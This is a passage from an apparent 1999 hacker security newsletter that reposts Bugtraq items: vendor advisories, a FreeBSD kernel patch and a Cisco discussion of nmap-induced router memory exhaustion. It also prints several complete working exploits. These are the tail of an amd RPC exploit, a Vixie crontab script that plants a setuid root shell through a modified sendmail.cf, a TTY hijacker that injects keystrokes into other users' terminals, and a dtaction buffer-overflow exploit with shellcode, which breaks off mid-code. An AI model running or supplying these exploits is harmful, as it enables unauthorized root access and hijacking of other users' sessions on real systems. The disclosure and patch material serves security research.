printf ( "Command: %s \n", cc);
amqproc_mount_1 (&path, cl);
clnt_destroy ( cl);
}
int *
amqproc_mount_1(voidp argp, CLIENT *clnt)
{
static int res;
struct timeval TIMEOUT = {10, 0};
memset((char *) &res, 0, sizeof(res));
if (clnt_call(clnt, AMQPROC_MOUNT, (XDRPROC_T_TYPE) xdr_amq_string, argp,
(XDRPROC_T_TYPE) xdr_int, (caddr_t) & res,
TIMEOUT) != RPC_SUCCESS) {
printf ( "voce e' um hax0r!\n");
printf ( "don't forget to restart amd: /etc/rc.d/init.d/amd start\n");
clnt_perror ( clnt, "clnt_call");
return (NULL);
}
printf ( "exploit failed\n");
return (&res);
}
---------------------------------------
-condor
www.sekure.org
s e k u r e
pgp key available at condor.sekure.org/condor.asc
@HWA
44.0 Spoofed Id in Bluestone Sapphire/Web
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Subject: [Security] Spoofed Id in Bluestone Sapphire/Web
To: BUGTRAQ@SECURITYFOCUS.COM
INTRINsec Security Advisory
Release Date : September 02, 1999
Software : Bluestone Sapphire/Web V5
Operating System: Solaris
Impact : The attacker can access the session of other connected clients.
Author : Gerald.Grevrend@INTRINsec.com
Status : Bluestone is advised from this.
URLs : http://www.INTRINsec.com
__ Diggest __
Sapphire/Web is a framework for iCommerce platforms. This product has a
security flaw in its authentication scheme that allows an attacker
to easily usurpate the identity of the currently connected clients.
Bluestone is advised from this and wont correct this bug.
__ Technical Details and Exploits __
To authenticate its clients, Sapphire/Web uses an id stored in a session
cookie as authentication scheme. After you have sent your login/password,
Sapphire/Web sends you back a session cookie containing your id for this
session.
There are two flaws in their id authentication scheme :
- the id is higly predictable : it is a counter incremented one by one,
so given your id, it is easy to guess the id of people connected just before
you.
- the id longs all your session : it isn't renewed at each http request,
so you are sure that if the session hasn't been disconnected, its id is
valid.
All the attacker has to do is to connect to Sapphire/Web server with a valid
login/password and note its id. Then he can make a request with a decreased
id in its cookie.
With some luck, he will access the session of another client.
__ Solutions __
Bluestone doesn't provide a patch for this problem. You have to upgrade your
software to the new version (V6.X) that allows you to use your own
authentication scheme.
__ Contacts __
-- Bluestone Software --
Support Services
1000 Briggs Road
Mount Laurel, New Jersey 08054-4101
Phone: 856.778.7900
Fax: 856.234.2877
support@bluestone.com
http://www.bluestone.com
-- INTRINsec --
INTRINsec is a French Security Specialist.
http://www.INTRINsec.com
This advisory is available in french.
Cet avis est disponible en francais sur notre site.
__ DISCLAMERS __
INTRINsec DISCLAIMS ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, AND PROVIDED
THESES INFORMATIONS "AS IS" WITHOUT WARRANTY OF ANY KIND. INTRINsec IS NOT
LIABLE FOR ANY DAMAGES WHATSOEVER EVEN IF INTRINsec HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
--
Gerald Grevrend : Securite Informatique
http://www.INTRINsec.com
@HWA
45.0 FreeBSD-SA-99:01: BSD File Flags and Programming Techniques
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Subject: [security-officer@FreeBSD.ORG: FreeBSD-SA-99:01: BSD File Flags
and Programming Techniques]
To: BUGTRAQ@SECURITYFOCUS.COM
[security-officer@FreeBSD.ORG 1.ems Content-Type: text/plain; charset=us-ascii
*** PGP Signature Status: unknown
*** Signer: Unknown, Key ID xBE7497F1
*** Signed: 9/3/99 11:38:10 PM
*** Verified: 9/13/99 2:37:02 PM
*** BEGIN PGP VERIFIED MESSAGE ***
----- Forwarded message from security-officer@FreeBSD.ORG -----
Delivered-To: freebsd-announce@freebsd.org
From: security-officer@FreeBSD.ORG
To: freebsd-announce@FreeBSD.ORG
Cc: security-notifications@FreeBSD.ORG
Subject: FreeBSD-SA-99:01: BSD File Flags and Programming Techniques
Date: Fri, 03 Sep 1999 23:29:36 -0600
X-Loop: FreeBSD.org
Precedence: bulk
-----BEGIN PGP SIGNED MESSAGE-----
=============================================================================
FreeBSD-SA-99:01 Security Advisory
FreeBSD, Inc.
Topic: BSD File Flags and Programming Techniques
Category: core
Module: kernel
Announced: 1999-09-04
Affects: FreeBSD 3.2 (and earlier)
FreeBSD-current before the correction date.
Corrected: FreeBSD-3.3 RELEASE
FreeBSD-current as of 1999/08/02
FreeBSD-3.2-stable as of 1999/08/02
FreeBSD-2.2.8-stable as of 1999/08/04
FreeBSD only: NO
Patches: ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-99:01/
I. Background
BSD 4.4 added various flags to files in the file system. These flags
control various aspects of which operations are permitted on those
files. Historically, root has been been able to do all of these
operations so many programs that knew they were running as root didn't
check to make sure that these operations succeeded.
II. Problem Description
A user can set flags and mode on the device which they logged into.
Since a bug in login and other similar programs causes the normal
chown to fail, this first user will own the terminal of any login.
III. Impact
Local users can execute a man-in-the-middle attack against any other
user (including root) when the other users logs in. This give them
the ability to snoop and alter all text that the user writes. Results
of this include the ability to execute commands as the user, and
stealing the user's password (and anything else the users writes over
the connection, including passwords for other machines).
IV. Workaround
None.
V. Solution
FreeBSD-current
Index: kern/vfs_syscalls.c
===================================================================
RCS file: /home/imp/FreeBSD/CVS/src/sys/kern/vfs_syscalls.c,v
retrieving revision 1.125
retrieving revision 1.128
diff -u -r1.125 -r1.128
--- vfs_syscalls.c 1999/07/29 17:02:56 1.125
+++ vfs_syscalls.c 1999/08/04 04:52:18 1.128
@@ -1892,13 +1892,23 @@
int error;
struct vattr vattr;
+ /*
+ * Prevent non-root users from setting flags on devices. When
+ * a device is reused, users can retain ownership of the device
+ * if they are allowed to set flags and programs assume that
+ * chown can't fail when done as root.
+ */
+ if ((vp->v_type == VCHR || vp->v_type == VBLK) &&
+ ((error = suser_xxx(p->p_ucred, p, PRISON_ROOT)) != 0))
+ return (error);
+
VOP_LEASE(vp, p, p->p_ucred, LEASE_WRITE);
vn_lock(vp, LK_EXCLUSIVE | LK_RETRY, p);
VATTR_NULL(&vattr);
vattr.va_flags = flags;
error = VOP_SETATTR(vp, &vattr, p->p_ucred, p);
VOP_UNLOCK(vp, 0, p);
- return error;
+ return (error);
}
/*
FreeBSD-3.2-stable
Index: kern/vfs_syscalls.c
===================================================================
RCS file: /home/imp/FreeBSD/CVS/src/sys/kern/vfs_syscalls.c,v
retrieving revision 1.112.2.3
retrieving revision 1.112.2.5
diff -u -r1.112.2.3 -r1.112.2.5
--- vfs_syscalls.c 1999/07/30 01:07:23 1.112.2.3
+++ vfs_syscalls.c 1999/08/11 21:39:50 1.112.2.5
@@ -1839,13 +1839,23 @@
int error;
struct vattr vattr;
+ /*
+ * Prevent non-root users from setting flags on devices. When
+ * a device is reused, users can retain ownership of the device
+ * if they are allowed to set flags and programs assume that
+ * chown can't fail when done as root.
+ */
+ if ((vp->v_type == VCHR || vp->v_type == VBLK) &&
+ ((error = suser(p->p_ucred, &p->p_acflag)) != 0))
+ return (error);
+
VOP_LEASE(vp, p, p->p_ucred, LEASE_WRITE);
vn_lock(vp, LK_EXCLUSIVE | LK_RETRY, p);
VATTR_NULL(&vattr);
vattr.va_flags = flags;
error = VOP_SETATTR(vp, &vattr, p->p_ucred, p);
VOP_UNLOCK(vp, 0, p);
- return error;
+ return (error);
}
/*
FreeBSD 2.2.8-stable:
Index: kern/vfs_syscalls.c
===================================================================
RCS file: /home/imp/FreeBSD/CVS/src/sys/kern/vfs_syscalls.c,v
retrieving revision 1.51.2.7
retrieving revision 1.51.2.8
diff -u -r1.51.2.7 -r1.51.2.8
--- vfs_syscalls.c 1998/07/03 03:50:31 1.51.2.7
+++ vfs_syscalls.c 1999/08/04 18:58:56 1.51.2.8
@@ -1439,6 +1439,17 @@
if (error)
return (error);
vp = nd.ni_vp;
+ if ((error = VOP_GETATTR(vp, &vattr, p->p_ucred, p)))
+ return (error);
+ /*
+ * Prevent non-root users from setting flags on devices. When
+ * a device is reused, users can retain ownership of the device
+ * if they are allowed to set flags and programs assume that
+ * chown can't fail when done as root.
+ */
+ if ((vp->v_type == VCHR || vp->v_type == VBLK) &&
+ ((error = suser(p->p_ucred, &p->p_acflag)) != 0))
+ return (error);
LEASE_CHECK(vp, p, p->p_ucred, LEASE_WRITE);
VOP_LOCK(vp);
VATTR_NULL(&vattr);
VI. Credits
Theo de Raadt came up with the firewalling solution presented here.
lumpy@blue.9mm.com brought this problem to light.
=============================================================================
FreeBSD, Inc.
Web Site: http://www.freebsd.org/
Confidential contacts: security-officer@freebsd.org
Security notifications: security-notifications@freebsd.org
Security public discussion: freebsd-security@freebsd.org
PGP Key: ftp://ftp.freebsd.org/pub/FreeBSD/CERT/public_key.asc
Notice: Any patches in this document may not apply cleanly due to
modifications caused by digital signature or mailer software.
Please reference the URL listed at the top of this document
for original copies of all patches if necessary.
=============================================================================
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: noconv
Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface
iQCVAwUBN9CAHFUuHi5z0oilAQEJPwP/XhzCOs4ipJkZIPWlSDvsvPLcJWXzb3HK
Fs8gLV3CPnW7YdSpveosI3hBY9WNCVAFx9WkM5+n+FBSRfbRzFJkkblN85ZCz7pI
+RXg6Sv5vuzy6SRxMRK2vu1FXuwZevVQaMq4ANUXpdo5MyUE8rMGb9PLWdxOxdf5
s6zlG0oFyvI=
=CqoX
-----END PGP SIGNATURE-----
This is the moderated mailing list freebsd-announce.
The list contains announcements of new FreeBSD capabilities,
important events and project milestones.
See also the FreeBSD Web pages at http://www.freebsd.org
To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-announce" in the body of the message
----- End forwarded message -----
--
Patrick Oonk - PO1-6BONE - patrick@pine.nl - www.pine.nl/~patrick
Pine Internet B.V. PGP key ID BE7497F1
Tel: +31-70-3111010 - Fax: +31-70-3111011 - http://www.pine.nl/
-- Pine Security Digest - http://security.pine.nl/ (Dutch) ----
Excuse of the day: Your Flux Capacitor has gone bad.
*** END PGP VERIFIED MESSAGE ***
@HWA
46.0 Cisco and Nmap Dos
~~~~~~~~~~~~~~~~~~
Subject: Re: Cisco and Nmap Dos
To: BUGTRAQ@SECURITYFOCUS.COM
Hi all,
I wanted to address the items listed here. We are still investigating this problem,
and hope to have more information later on in the week. Item 1, OSPF is not an issue.
According to the configuration information provided to us by the customer, OSPF is
not in use. Items 2, 3 & 4. IOS actually handles ARP in the following manner: When
we receive a packet destined for something not already in our ARP table, we enter an
"incomplete" entry in the ARP table. Then we will rate limit ARPs to once every 2
seconds to that destination. Any additional packets to that same destination will
be dropped until the ARP entry is completed. This is on a per destination basis.
"Incompletes" (ARP requests that have not been responded to) get dropped after
approximately 1 minute from the last time we sent an ARP request for that non
existent address.
Incomplete entries MAY stay around longer, as the process that is responsible for
cleaning up the ARP table may not have enough time to complete before it is called
again, if we have a lot to clean up, which may be relevant to this case.
The incomplete entries will eventually get cleaned up, but it may take two or three
minutes, two or three cycles of the process that cleans up the table. Under a dedicated,
intense nmap scan, a very large number of ARP requests may be generated, causing the
ARP table to grow very large with "incomplete" entries. These entries consume memory.
As the amount of free memory declines and demand on the processor to handle outstanding
packets increases, ARP processing falls behind and throughput on the router may decline
significantly. Once the scan is stopped, processing catches up and things return to normal.
So, to my knowledge IOS should be doing the right thing, we only queue one ARP request at
a time, every 2 seconds, until the ARP entry is resolved, we rate limit requests, dropping
all additional packets, until the ARP entry is resolved, and we clean up the outstanding
incomplete requests within a few minutes. I hope that helps address some of the concerns put
forth. Hopefully we will have further updates shortly.
Thank you,
Lisa Napier
Product Security Incident Response Team
Cisco Systems
At 04:04 PM 9/2/1999 +0200, Mikael Olsson wrote:
>There could be a couple of problems that I know of...
>
>The problem(s) here may be
>1) OSPF : Remembering every single IP as separate routes.
> I don't know the timeouts or memory usage for OSPF
> routes, so I won't try to dig to deep into that. This should be
> easily verifiable by just checking the routing table on
> the router, should it be the case.
>2) ARP resolution : Any number of packets to the same IP may be
> queued, instead of just one per IP which is the sane thing to do.
>3) ARP resolution : There are no checks to see if there's a huge
> number of requests waiting. If there is, the router should just
> kill old requests.
>4) ARP resolution : The router remembers not only addresses that have
> been found,
> but also addresses that could NOT be found. This way, it
> doesn't keep retrying several times per second but rather
> once every 10-30 seconds (if someone still wants to talk to that
> host, of course).
> Here, the problem may be that it doesn't delete old "not found"
> records if there's a disproportionate amount of them.
>
>The most probable one is number one.
>
>If you don't want the gory details in this discussion,
>skip to </boringtechstuff>.
>The conclusion is more interesting than the math.
>
><boringtechstuff>
>
>
>Let's do some math on the ARP part:
>
>Assume that all hosts are local to the router.
>It took you 18 hours to complete 256^3 = 16M addresses.
>16M hosts in 18 hours (64800 secs) means 250 hosts scanned per second.
>
>This would amount to app. 100 kbps load (assuming each host is only
>pinged once). This doesn't make any sense, but I'll go ahead anyway :-)
>
>First we look at the case where packets are buffered.
>
>Assume the router buffers packets with unknown destination for
>one second.
>Each buffer would be 14 ether + 20 ip + 8 icmp + 4 data = 46
>bytes, plus internal data such as mbuf-equivalent links. Let's
>assume each buffer eats 64 bytes.
>64 * 250 = 16K used on average.
>Hmm this does not seem to be the case. Even assuming nmap pings
>four times per host and that each packet is buffered for
>three seconds, it would only amount to 192K.
>
>Let's look at remembering ARP entries that are not found.
>Assume each ARP entry eats 4 ip + 6 ether + 2 timeout + 2 flags
>+ 2 bytes proto type + 2 byte hw type + ~8 bytes hash bucket
>linkage (or something) = 26 bytes.
>Assume each entry lives for 30 seconds.
>250 * 30 * 26 = 195K.
>Even with IPv6 address size allocation and long timeouts,
>it doesn't amount to more than a couple of megs.
>
>Ack..
>
>Even with both combined, it doesn't even come near to 35 MB.
>
>A quick look at the OSPF problem would say
>so la la 20 bytes per route, route life time of 1 hour:
>1 million hosts scanned per hour, 20 bytes per route,
>gives an AVERAGE OF TWENTY MB RAM USED.
>
>This would seem more probable.
>
>By starting a scan and seeing how the memory grows, you
>should see that it keeps growing for maybe 30 minutes,
>maybe 1 hour, maybe 2 hours (route life) and then stays
>at the same level.
>When you stop scanning, it should take the same time
>for the memory usage to decrease to normal levels.
>
></boringtechstuff>
>
>Either there's a flaw in the routing kernel that I have no
>idea about, or the problem is OSPF.
>
>As I said, you should be able to verify OSPF behaviour either
>by checking the routing table from the console, or polling
>it via SNMP. I've noticed on some brands that the console
>only displays static and RIPped routes, but that SNMP
>displays all; keep that in mind.
>
>You should be able to amend this problem by adding static
>routes without destination for IP spans known to be empty.
>
>Hope this helps?
>Regards,
>Mikael Olsson
>
>
>"Lancashire, Andrew" wrote:
> >
> > I don't know if you've ever seen this before. We ran nmap with ICMP
> > discover and standard tcp scan. We ran the scan against the entire 10.0.0.0
> > network range. Although we were only looking for 2 ports, we found that the
> > RSM in our 5500 series (our default route) was running out of memory and
> > had to be rebooted by our Network Services group multiple times in the 18
> > hour stretch it took to complete. One of the interesting things is that we
> > were only generating about 3-5 Mbs and the 5500 can pass Gigabits. I have
> > not heard of this problem before. We contacted Cisco and sent them the
> > details. Below is the response to one of our engineers.
> >
> > Andrew
> >
> > -----Original Message-----
> > From: khollis [SMTP:khollis@cisco.com]
> > Sent: Tuesday, August 31, 1999 7:59 AM
> > To: wescotd@sutterhealth.org
> > Subject: Regarding Case Number V44290
> >
> > Hi Dave, as I recall, the symptom we had to work/troubleshoot with was the
> > router consumed lots of memory. Never heard about packets being dropped. So
> > it seems like we forwarded everything nmap sent to us. The thing to keep in
> > mind is that the router will dynamically allocate memory as necessary so
> > that it can keep up with the load provided to it. Although we did not know
> > nmap was running at the time, we noticed the memory consumed by the IP Input
> > process dropped from 40M+ to an acceptable level of (4-5M) after nmap was
> > shut down. This proves that the router need this much memory to process the
> > entire load generated by nmap.
> >
> > I suspect nmap was doing much more than you've been able to calculate. It's
> > obvious that running nmap continuously for 18-19 hours caused this problem.
> > One possible explaination is constantly flooding the router w/64 byte
> > packets for this timeframe could have caused the router's memory to become
> > seriously fragmented. Also, I guess we can't tell, but another question
> > would be how many tcp sessions were requested/open on the router after this
> > timeframe?
> >
> > Port scanners have a reputation of helping identify potential security
> > problems. However, they are also known to cause problems...
> >
> > Hope this helps,
> > KennyH.
>
>--
>Mikael Olsson, EnterNet Sweden AB, Box 393, S-891 28 �RNSK�LDSVIK
>Phone: +46-(0)660-105 50 Fax: +46-(0)660-122 50
>WWW: http://www.enternet.se E-mail: mikael.olsson@enternet.se
@HWA
47.0 Vixie Crontab exploit code
~~~~~~~~~~~~~~~~~~~~~~~~~~
Subject: Vixie Crontab exploit code
To: BUGTRAQ@SECURITYFOCUS.COM
Vixie Crontab exploit code
begin vixie-ex
----------------------------------------------------------------------
#!/bin/sh
# Vixie crontab exploit
#
# Local user can gain root access.
#
# Tested redhat linux : 4.2, 5.0, 5.1, 6.0
# Tested vixie crontab version : 3.0.1
#
# This program is only for demonstrative use only.
# USE IT AT YOUR OWN RISK!
#
# Programmed by Taeho Oh 1999/08/31
#
# Taeho Oh ( ohhara@postech.edu ) http://postech.edu/~ohhara
# PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus
# PosLUG ( Postech Linux User Group ) http://postech.edu/group/poslug
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
export PATH
echo
echo "Taeho Oh ( ohhara@postech.edu ) http://postech.edu/~ohhara"
echo "PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus"
echo "PosLUG ( Postech Linux User Group ) http://postech.edu/group/poslug"
echo
echo make shell
echo
cat > /tmp/sh.c << EOF
#include<unistd.h>
#include<stdlib.h>
int main()
{
setuid(0);
setgid(0);
execl("/bin/sh","sh",0);
return 0;
}
EOF
echo compile shell
echo
cc -o /tmp/sh /tmp/sh.c || gcc -o /tmp/sh /tmp/sh.c
echo make execute shell script
echo
cat > /tmp/makesh << EOF
#!/bin/sh
chown root /tmp/sh
chgrp root /tmp/sh
chmod 4755 /tmp/sh
EOF
chmod 755 /tmp/makesh
echo hack sendmail.cf
echo
cp -f /etc/sendmail.cf /tmp/sendmail.cf.tmp1
sed 's/O DefaultUser=8:12/O DefaultUser=0:0/g' /tmp/sendmail.cf.tmp1 > /tmp/sendmail.cf
sed 's/P=\/usr\/bin\/procmail/P=\/tmp\/makesh/g' /tmp/sendmail.cf.tmp1 > /tmp/sendmail.cf.tmp2
sed 's/A=procmail/A=makesh/g' /tmp/sendmail.cf.tmp2 > /tmp/sendmail.cf.tmp3
cp /tmp/sendmail.cf.tmp3 /tmp/sendmail.cf
rm -f /tmp/sendmail.cf.tmp1
rm -f /tmp/sendmail.cf.tmp2
rm -f /tmp/sendmail.cf.tmp3
echo make cron file
echo
cat > /tmp/cronfile << EOF
MAILTO=-C/tmp/sendmail.cf `whoami`
* * * * * ls
EOF
echo input cron file
echo
crontab /tmp/cronfile
echo wait for 1 minute
echo
sec=`date +%S`
wait=`expr 65 - $sec`
sleep $wait
echo execute shell
echo
/tmp/sh
echo delete data files
echo
cd /tmp
rm -f sendmail.cf cronfile makesh sh.c
crontab /dev/null
----------------------------------------------------------------------
end vixie-ex
--
Taeho Oh ( ohhara@postech.edu ) http://postech.edu/~ohhara
PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus
PosLUG ( Postech Linux User Group ) http://postech.edu/group/poslug
@HWA
48.0 Exploiting DCOM to gain Administrative rights on Windows NT 4
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Subject: Exploiting DCOM to gain Administrative rights on Windows NT 4
To: BUGTRAQ@SECURITYFOCUS.COM
By using a combination of problems it is a relatively easy matter for a
local user to gain administrative rights on a Windows NT 4 Server or
Workstation,
though this situation is easily rectifiable.
1) The default configuration permissions on Windows NT allow the Interactive
User,
that is the user currently logged on, to make modifications to the way a
DCOM
server should be run. Basically this means they can modify the subkeys under
the HKCR\AppID registry key where information pertaining to the way these
servers
should be run is stored. Choosing an example that'll be on the majority of
machines
consider Wordpad. Wordpad is a registered DCOM server. By navigating to the
HKCR\AppID\{73FDDC80-AEA9-101A-98A7-00AA00374959}
registry key and adding a new value, "LocalService", and supplying the name
of a system
service a normal user will be able to start (a service) one of their
choosing.
2) After an install of certain software by an administrator new system
services can
be registered, but not necessarily started automatically. Added to this the
NTFS rights
on the service's image file may be lax. Consider an install of Internet
Explorer 5.
A system service, the System Event Notification service or SENS, is
registered under
the HKLM\CurrentControlSet\Services registry key but is not started. The
default NTFS
rights allow Everybody to overwrite the file.
Overwriting a service's image file with an "exploit" and getting it to run
as system is hardly brain
surgery, in so far as using it in a way to leverage more access to a system
is concerned
anyway. The problem lies in trying to get the service to run - a normal user
just can't
open the Services Control Panel applet and start a service.
Enter DCOM - stage right. Using a simple VBScript in an HTML document, such
as
<SCRIPT LANGUAGE="VBScript">
CreateObject("Wordpad.Document.1")
</SCRIPT>
an opening it will cause the browser request of the COM Service Control
Manager (RPCSS.EXE) that it start
the server so it can create an instance of the wordpad.document.1 class.
RPCSS looks at the
HKCR\AppID\{73FDDC80-AEA9-101A-98A7-00AA00374959}
key and decides how to start it. Going back to stage 1) above let's assume
we supplied "SENS" as the data
for the LocalService we added. RPCSS will go ahead and start the SENS
service because the default launch
permissions allow the Interactive User to do so.
All that this takes is for one of the HKCR\AppID registry key to have the
default permissions and for
a normal user to be able to overwrite one .exe or .dll that a non-started
system service uses for an
NT system to be vulnerable.
Needless to say tightening the permissions of the relevant keys and files
will resolve this problem.
NB ~ Windows 2000 will allow Power Users, Server Operators etc to gain Admin
rights using similar methods.
Cheers,
David Litchfield
http://www.arca.com
http://www.infowar.co.uk/mnemonix
@HWA
49.0 linux tty hijacker by typo/teso
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#include <sys/ioctl.h>
#include <sys/types.h>
#include <signal.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <termios.h>
// Dirty H(ijacker|arry) by typo/teso.. paralell tailing and ioctl input
// don't work.. neither does nonblocking tailing. any suggestions on how
// to improve this ? -> typo@scene.at
// credits: Saegfault for some ideas regarding the tail mode.
char *moo;
int fd;
void inthand() {
printf("moo!\n");
free(moo);
close(fd);
exit(-1);
}
int main(int argc, char **argv) {
char *moo2;
printf("-- Dirty H(ijacker|arry) by typo/teso --\n");
if (argc<2) {
printf("Usage: %s </dev/ttyx> [tailmode]\n",argv[0]);
exit(-1);
}
signal(SIGINT, (void*)&inthand);
moo2 = moo = (char *)malloc(400);
if (argc>2) {
fd = open(argv[1], O_RDONLY|O_SYNC);
printf("Tailing %s""... all commands we receive won't reach the shell:\n", argv[1]);
while (1) {
read(fd,moo,1);
printf("%s",moo);
if (!strcmp(moo,"\r"))
printf("\n");
fflush(stdout);
}
} else {
fd = open(argv[1], O_WRONLY);
printf("Inserting Commands into %s"":\n", argv[1]);
while (1) {
moo = moo2;
fgets(moo, 400, stdin);
while (*moo)
ioctl(fd, TIOCSTI, moo++);
}
}
}
@HWA
50.0 Various Vulnerabilities in CDE
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#1 Dtaction
Subject: Vulnerability in dtaction
To: BUGTRAQ@SECURITYFOCUS.COM
Hello,
I discovered the following security problem in dtaction, part of CDE:
Description
-----------
/usr/dt/bin/dtaction contains a buffer overflow when a username of more than
1024 bytes is supplied as an argument.
Impact
------
The buffer overflow can lead to local root compromise.
Workaround
----------
dtaction allows local or remote invocation of an 'Action' as any user. This
is why dtaction is setuid root. If this feature is not needed the setuid bits
can be removed:
as root type: chmod 555 /usr/dt/bin/dtaction
dtaction can then still be used to invoke local and remote 'Actions' as the
user invoking dtaction.
Affected systems
----------------
Although the overflow is present in most implementations, exploiting it is
very much system dependent. Below an example exploit for Solaris 7 x86 is
is given.
The only systems I have checked were:
Solaris 7, 2.6, 2.5.1
Background
----------
Despite the fact that Georgi Gunski found a buffer overflow in dtaction in
1997, no-one apparently checked dtaction any further. The overflow that was
discovered then appeared to be due to a bug in the shared library libDtSvc.so,
which was subsequently fixed. Even though the Sun Security Bulletin 164 at
that time said:
Due to insufficient bounds checking on arguments supplied
to dtaction, it is possible to overwrite the internal stack space of
dtaction. As dtaction is setuid root, this vulnerability may be
exploited to gain root access.
Apparently not all user supplied arguments were checked.
Supplying a username over 1024 with the argument -user will overflow an
internal buffer used to log a message to /var/adm/sulog. Although the
overflow can succeed, a message will always be logged to /var/adm/sulog.
The overflow is in a function called AddSuLog, which is called from a function
LogFailure, which in turn is called from a function UnknownUser:
The code at the end of the routine UnkownUser() looks like this (all on
Solaris 2.6):
UnknownUser+0x025c: call LogFailure
UnknownUser+0x0260: nop
UnknownUser+0x0264: call 0x00023904 [unresolved PLT 54: XmStringFree]
UnknownUser+0x0268: mov %i3, %o0
UnknownUser+0x026c: call 0x00023904 [unresolved PLT 54: XmStringFree]
UnknownUser+0x0270: mov %i2, %o0
UnknownUser+0x0274: call 0x00023910 [unresolved PLT 55: XtFree]
UnknownUser+0x0278: mov %i4, %o0
UnknownUser+0x027c: sethi %hi(0x23c00), %o0
UnknownUser+0x0280: call 0x000237a8 [unresolved PLT 25: XtAppMainLoop]
UnknownUser+0x0284: ld [%o0 + 0x3c4], %o0
UnknownUser+0x0288: ret
UnknownUser+0x028c: restore
According to the discription of XtAppMainLoop, it will never return. This will
make the overflow not exploitable on systems where the return address on the
stack is for the caller of the caller (like sparc). However, when we inspect
the function XtAppMainLoop on Solaris 2.6 we find:
XtAppMainLoop : save %sp, -0xc0, %sp
XtAppMainLoop+0x0004: tst %i0
XtAppMainLoop+0x0008: be XtAppMainLoop+0x30
XtAppMainLoop+0x000c: add %fp, -0x60, %o1
XtAppMainLoop+0x0010: ld [%i0 + 0x224], %o0
XtAppMainLoop+0x0014: tst %o0
XtAppMainLoop+0x0018: be XtAppMainLoop+0x30
XtAppMainLoop+0x001c: add %fp, -0x60, %o1
XtAppMainLoop+0x0020: ld [%i0 + 0x224], %o1
XtAppMainLoop+0x0024: jmpl %o1, %o7
XtAppMainLoop+0x0028: mov %i0, %o0
XtAppMainLoop+0x002c: add %fp, -0x60, %o1
XtAppMainLoop+0x0030: call 0xef5a193c [unresolved PLT 181:
XtAppNextEvent]
XtAppMainLoop+0x0034: mov %i0, %o0
XtAppMainLoop+0x0038: call 0xef5a1948 [unresolved PLT 182:
XtDispatchEvent]
XtAppMainLoop+0x003c: add %fp, -0x60, %o0
XtAppMainLoop+0x0040: ldsb [%i0 + 0x21c], %o0
XtAppMainLoop+0x0044: tst %o0
XtAppMainLoop+0x0048: be XtAppMainLoop+0x30
XtAppMainLoop+0x004c: add %fp, -0x60, %o1
XtAppMainLoop+0x0050: tst %i0
XtAppMainLoop+0x0054: be XtAppMainLoop+0x78
XtAppMainLoop+0x0058: nop
XtAppMainLoop+0x005c: ld [%i0 + 0x228], %o0
XtAppMainLoop+0x0060: tst %o0
XtAppMainLoop+0x0064: be XtAppMainLoop+0x78
XtAppMainLoop+0x0068: nop
XtAppMainLoop+0x006c: ld [%i0 + 0x228], %o1
XtAppMainLoop+0x0070: jmpl %o1, %o7
XtAppMainLoop+0x0074: mov %i0, %o0
XtAppMainLoop+0x0078: ret
XtAppMainLoop+0x007c: restore
It seems that this function might end if a certain test fails. It is unclear
if this is a test under control of the user.
Below is a simple C program which shows the problem on Solaris 7 x86, which
has a stack with the return address of the caller on it.
Regards,
Job
---
Job de Haas job@itsx.com
ITSX bv http://www.itsx.com
-------8<-----------------------------------------------------------------
/*
* dtaction_ov.c
* Job de Haas
* (c) ITSX bv 1999
*
* This program demonstrates an overflow problem in /usr/dt/bin/dtaction.
* It has only been tested on Solaris 7 x86
* assembly code has been taken from ex_dtprintinfo86.c by unewn4th@usa.net
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pwd.h>
#define BUFLEN 998
char exploit_code[] =
"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
"\x8d\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
"\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
"\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33"
"\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88"
"\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f"
"\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46"
"\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01"
"\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/id";
main()
{
char *argp[6], *envp[3];
char buf[2048];
unsigned long *p;
struct passwd *pw;
int buflen;
if ((pw = getpwuid(getuid())) == NULL) {
perror("getpwuid");
exit(1);
}
buflen = BUFLEN - strlen( pw->pw_name );
memset(buf,0x90,buflen);
strncpy( &buf[500], exploit_code, strlen(exploit_code));
/* set some pointers to values that keep code running */
p = (unsigned long *)&buf[buflen];
*p++ = 0x37dc779b;
*p++ = 0xdfaf6502;
*p++ = 0x08051230;
*p++ = 0x080479b8;
/* the return address. */
*p++ = 0x08047710;
*p = 0;
argp[0] = strdup("/usr/dt/bin/dtaction");
argp[1] = strdup("-u");
argp[2] = strdup(buf);
argp[3] = strdup("Run");
argp[4] = strdup("/usr/bin/id");
argp[5] = NULL;
if (!getenv("DISPLAY")) {
printf("forgot to set DISPLAY\n");
exit(1);
}
